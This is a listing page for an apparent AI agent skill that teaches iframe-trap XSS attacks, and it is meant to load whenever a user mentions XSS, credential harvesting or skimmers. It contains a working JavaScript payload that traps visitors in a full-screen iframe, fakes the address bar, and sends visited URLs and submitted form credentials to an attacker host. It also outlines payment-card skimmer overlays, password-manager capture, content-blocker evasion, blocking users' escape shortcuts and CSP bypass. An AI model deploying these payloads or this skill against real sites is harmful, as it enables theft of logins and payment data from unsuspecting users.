# Iframe Traps

> How to build iframe trap attacks for XSS exploitation. Use this skill whenever the user mentions XSS, iframe attacks, credential harvesting, payment skimmers, or wants to persist XSS payloads by trapping victims in iframes. Also use when discussing modern navigation API tricks, overlay attacks, or bypassing content blockers with local frames.

- Skill: `abelrguezr/iframe-traps` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/iframe-traps`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/iframe-traps/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/iframe-traps

---


# Iframe Traps

A technique for abusing XSS via iframes to steal information from users navigating across a web page. The attack traps victims inside a full-viewport iframe while keeping the browser URL bar synchronized to appear legitimate.

## When to Use This Skill

Use this skill when:
- You have an XSS vulnerability and want to persist the attack across page navigation
- You need to harvest credentials, form data, or local storage from victim sessions
- You're building payment skimmer overlays for compromised merchant sites
- You want to bypass content blockers using local frame techniques
- You're researching modern iframe-based attack vectors (2024+)

## Core Concept

The attack loads the vulnerable page in a full-viewport iframe (100% screen). The victim navigates inside the iframe without realizing it. JavaScript listeners:
1. Sync the browser URL bar with iframe navigation (using History/Navigation API)
2. Exfiltrate visited URLs, form submissions, and local storage
3. Optionally disable escape mechanisms (right-click, shortcuts)

## Implementation

### Basic Full-Viewport Trap

```html
<script>
const i = document.createElement('iframe');
i.src = location.href;
i.style = 'position:fixed;inset:0;border:0;width:100vw;height:100vh;z-index:999999;background:#fff';
document.body.appendChild(i);

function sync(url) {
  history.replaceState({}, '', url);
}

i.addEventListener('load', () => {
  const w = i.contentWindow;
  
  // Sync URL bar on navigation
  ['hashchange', 'popstate'].forEach(ev => 
    w.addEventListener(ev, () => sync(w.location.href))
  );
  
  // Log navigation
  w.addEventListener('click', () => 
    fetch('//attacker/log', {method: 'POST', body: w.location.href})
  );
  
  // Harvest form submissions
  w.document.addEventListener('submit', ev => {
    const fd = new FormData(ev.target);
    fetch('//attacker/creds', {method: 'POST', body: new URLSearchParams(fd)});
  }, true);
});
</script>
```

### Modern Navigation API (2024+)

Use `navigation.navigate` and `currententrychange` to keep the outer URL bar synchronized without leaking the real URL. This is more stealthy than `history.replaceState`.

### Fullscreen Mode

Go fullscreen to hide browser UI and draw a fake address bar/padlock. This makes the trap indistinguishable from the real site.

## Overlay & Skimmer Patterns

### Payment Skimmer Overlay

Compromised merchants replace hosted payment iframes (Stripe, Adyen, etc.) with a pixel-perfect overlay that:
- Forwards keystrokes to the real frame underneath
- Captures data before it reaches the legitimate processor
- Uses legacy validation APIs so the flow never breaks

### Autofill/Password Manager Capture

Trapping users in the top frame captures autofill and password-manager data before they notice the URL bar never changed.

## Evasion Techniques (2025+)

### Local Frame Bypass

`about:blank`/`data:` local frames inherit the parent origin and bypass some content-blocker heuristics. Nested iframes can respawn even when extensions tear down third-party frames.

### Permission Propagation

Rewrite the parent `allow` attribute to grant nested attacker frames fullscreen/camera/microphone permissions without obvious DOM changes.

## OPSEC Considerations

### Prevent Escape Attempts

- Re-focus the iframe when the mouse leaves (`mouseleave` on body) to stop users reaching the browser UI
- Disable context menu and common shortcuts (`keydown` for `F11`, `Ctrl+L`, `Ctrl+T`) inside the frame
- Detect when mouse leaves iframe (potentially to click reload) and update browser URL to the original XSS-vulnerable URL so reload re-poisons the page

### CSP Bypass

If CSP blocks inline scripts:
1. Inject a remote bootstrapper
2. Enable `srcdoc` on the iframe so your payload lives outside the enforced CSP of the main page

### Limitations

- Victim closing the tab escapes the iframe
- Putting another URL in the browser escapes the iframe
- Page refresh can escape (partially preventable with the reload-poisoning technique above)

## Related Techniques

- Clickjacking (see clickjacking.md)
- DOM-based XSS persistence
- Form hijacking

## References

- [TrustedSec: Persisting XSS with iframe traps](https://trustedsec.com/blog/persisting-xss-with-iframe-traps)
- [TrustedSec: JS-TAP weaponizing JavaScript for red teams](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams)
- [Iframe security exposed: blind spot fueling payment skimmer attacks (2025)](https://thehackernews.com/2025/09/iframe-security-exposed-blind-spot.html)
- [Local Frames: exploiting inherited origins to bypass blockers (2025)](https://arxiv.org/abs/2506.00317)

